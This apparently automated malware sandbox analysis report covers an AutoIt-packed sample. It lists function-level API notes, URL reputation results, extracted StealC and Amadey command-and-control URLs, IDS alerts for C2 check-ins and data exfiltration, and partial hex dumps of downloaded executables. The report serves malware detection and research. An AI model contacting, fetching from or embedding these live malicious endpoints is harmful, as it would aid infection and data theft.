_wcslen.LIBCMT ref: 00B674B9

Strings

3, 3, 16, 1, xrefs: 00B67483

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: c2165ef8c19ee3ffeaf100464d22a553a6f5b34756840cc242c8fc23da0bb5d5
Instruction ID: 65af9c75f373daae6c9110d8f7998b4c0b48bf104a307080ccd4e3e9266a3356
Opcode Fuzzy Hash: c2165ef8c19ee3ffeaf100464d22a553a6f5b34756840cc242c8fc23da0bb5d5
Instruction Fuzzy Hash: 7CE02B4225922018D23112799CC9A7F5AC9CFC5B5071018BBFE81C23A6EF988D9293A0

Function 00B40B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00B40B23

Strings

AutoIt, xrefs: 00B40B17
Error allocating memory., xrefs: 00B40B1C

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: dab6b4232f047b09c14bb2d58a981aac100f36963e71eee9daf8e66244424cdc
Instruction ID: c615a9b8576f0ee22844401f79dfb07f793161511e1803f908d0f164ff29c5f3
Opcode Fuzzy Hash: dab6b4232f047b09c14bb2d58a981aac100f36963e71eee9daf8e66244424cdc
Instruction Fuzzy Hash: 14E0DF322883082AD2243694BD03F897EC4CF05B64F1044AEFB9C994D38EE2299006E9

Function 00B00D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00AFF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00B00D71,?,?,?,00AE100A), ref: 00AFF7CE

IsDebuggerPresent.KERNEL32(?,?,?,00AE100A), ref: 00B00D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00AE100A), ref: 00B00D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00B00D7F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 71d8f7c254ea17ac19786140f54537baad8a318a82a2a7a9dccf6e084597c6ba
Instruction ID: e40e32c65d4a2e1a79123c0cfcc0600eda4d0d7a71b2e28830c924afdaf62267
Opcode Fuzzy Hash: 71d8f7c254ea17ac19786140f54537baad8a318a82a2a7a9dccf6e084597c6ba
Instruction Fuzzy Hash: AAE065702007414BD320AFBCE4047527FE0AF00740F008A7DE896C7651DFB0E4848BA1

Function 00B53017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00B5302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00B53044

Strings

aut, xrefs: 00B53038

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: febc547fdf6e9705dacb3de20dd35eea5793800899ade24518ffbd5e44e615b1
Instruction ID: e492f45fc276343f3a0bf2f3c1fe02bcc42578329c8cc5630784b8fd35959af0
Opcode Fuzzy Hash: febc547fdf6e9705dacb3de20dd35eea5793800899ade24518ffbd5e44e615b1
Instruction Fuzzy Hash: 0ED05EB250032867DB20A7A4AC0EFCB3F6CDB05750F0002A5B659E30A2DEB09A84CBD0

Function 00B3D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00B3D220

Strings

%.3d, xrefs: 00B3D22B
X64, xrefs: 00B3D2A8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 6d806bd4c24155652a2dc29db39dd5a8642fb434386cc81ae1ef2442bf2191e1
Instruction ID: 8e6cb7b6efdfacf4f6a5ffccd8cef938cccdbc18448c131b43637b58315909f8
Opcode Fuzzy Hash: 6d806bd4c24155652a2dc29db39dd5a8642fb434386cc81ae1ef2442bf2191e1
Instruction Fuzzy Hash: 65D0127184810CEDCB9097D0EC859BBB3FCEB08301F7084D6F906D2041DA34C6486B61

Function 00B72322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B7232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00B7233F

Part of subcall function 00B4E97B: Sleep.KERNELBASE ref: 00B4E9F3

Strings

Shell_TrayWnd, xrefs: 00B72325

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 25084a6fd4a0f23ef937297913f1e9d688d2f0fa05d15418b670505b6488d911
Instruction ID: 40fa8e663a17cc2ce26ca406490a6e7657d000def5b0bae0a4e539cd22f61854
Opcode Fuzzy Hash: 25084a6fd4a0f23ef937297913f1e9d688d2f0fa05d15418b670505b6488d911
Instruction Fuzzy Hash: E4D0C976394310BAE664A7709C4FFC66A54AB10B10F00495EB659AB1E0CAB0A8418A54

Function 00B72356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B7236C
PostMessageW.USER32(00000000), ref: 00B72373

Part of subcall function 00B4E97B: Sleep.KERNELBASE ref: 00B4E9F3

Strings

Shell_TrayWnd, xrefs: 00B72365

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: b70ad8d8b19bf2c8a386fc158c9e8e47f24b3923211545c08518024b198f0f41
Instruction ID: 08977e66eb0e7e522ab81affbc131ecc3f03ef60cd0c4d4f98a01512630a8849
Opcode Fuzzy Hash: b70ad8d8b19bf2c8a386fc158c9e8e47f24b3923211545c08518024b198f0f41
Instruction Fuzzy Hash: 7ED0C972395310BAE664A7709C4FFC66A54AB15B10F40495EB659AB1E0CAB0A8418A54

Function 00B1BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00B1BE93
GetLastError.KERNEL32 ref: 00B1BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B1BEFC

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: ac83caca732f6d0070777332c4bcb0f945fc1509c7321031c6e3bc81a238a80e
Instruction ID: 04b04bd35518d001796e1e7cae87b80d66c52f7c835f2722919748f25366996d
Opcode Fuzzy Hash: ac83caca732f6d0070777332c4bcb0f945fc1509c7321031c6e3bc81a238a80e
Instruction Fuzzy Hash: FF41A135604206AFCF218F65CC84EEA7BE5EF42320FA441E9F959971E1DB308D82CB60

Source: http://185.215.113.100/	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.100	URL Reputation: Label: malware
Source: http://185.215.113.16/steam/random.exe:aB	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phptch	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpJ	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/well/random.exel	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/fae1daa8e9eb0eefeb8846d934f48b15eaa495c49#2	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpq	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/d5f9dd0246b5cb4f6522427fae1daa8e9eb0eefeb8846d934f48b15eaa495c49##o	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.phpO	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Local	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/F	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpd	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpc	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/ws	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/T	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpC	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php)	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/well/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.php/	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.phpNA	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpcd	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/D	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/w	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php53001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpls	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php#	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpML	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php&	Avira URL Cloud: Label: phishing

Source: 00000003.00000002.1801528450.000000000161E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.100/e2b1563c6670f193.php"}
Source: explorti.exe.7640.2.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Source: http://185.215.113.16/well/random.exel	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.php	Virustotal: Detection: 24%	Perma Link
Source: http://185.215.113.19/d5f9dd0246b5cb4f6522427fae1daa8e9eb0eefeb8846d934f48b15eaa495c49##o	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpO	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.19/Local	Virustotal: Detection: 15%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.phpc	Virustotal: Detection: 19%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.phpd	Virustotal: Detection: 24%	Perma Link
Source: http://185.215.113.100/ws	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/T	Virustotal: Detection: 11%	Perma Link
Source: http://185.215.113.100/F	Virustotal: Detection: 14%	Perma Link
Source: http://185.215.113.16/well/random.exe	Virustotal: Detection: 25%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php/	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.19/	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.16/steam/random.exe	Virustotal: Detection: 23%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpC	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.19/D	Virustotal: Detection: 23%	Perma Link
Source: http://185.215.113.100/w	Virustotal: Detection: 10%	Perma Link

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49730 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.19:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49732 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49734 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49735 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49737 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49765 -> 185.215.113.100:80

Source: Malware configuration extractor	URLs: http://185.215.113.100/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.19

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	ReversingLabs: Detection: 39%

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 01 Sep 2024 00:48:03 GMTContent-Type: application/octet-streamContent-Length: 1790976Last-Modified: Sat, 31 Aug 2024 22:58:27 GMTConnection: keep-aliveETag: "66d3a013-1b5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4d 8b c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 20 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 68 00 00 04 00 00 90 12 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 f0 23 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 23 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 23 00 00 10 00 00 00 3c 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 23 00 00 00 00 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 23 00 00 02 00 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 00 24 00 00 02 00 00 00 4e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 67 74 65 74 77 6d 6c 00 e0 19 00 00 30 4e 00 00 de 19 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 7a 68 75 70 63 6f 77 00 10 00 00 00 10 68 00 00 04 00 00 00 2e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 68 00 00 22 00 00 00 32 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 01 Sep 2024 00:48:10 GMTContent-Type: application/octet-streamContent-Length: 917504Last-Modified: Sun, 01 Sep 2024 00:31:28 GMTConnection: keep-aliveETag: "66d3b5e0-e0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 b5 d3 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 50 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 60 fe 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 c8 95 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c8 95 00 00 00 40 0d 00 00 96 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 8a 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: Joe Sandbox View	IP Address: 185.215.113.100 185.215.113.100
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49731 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49736 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
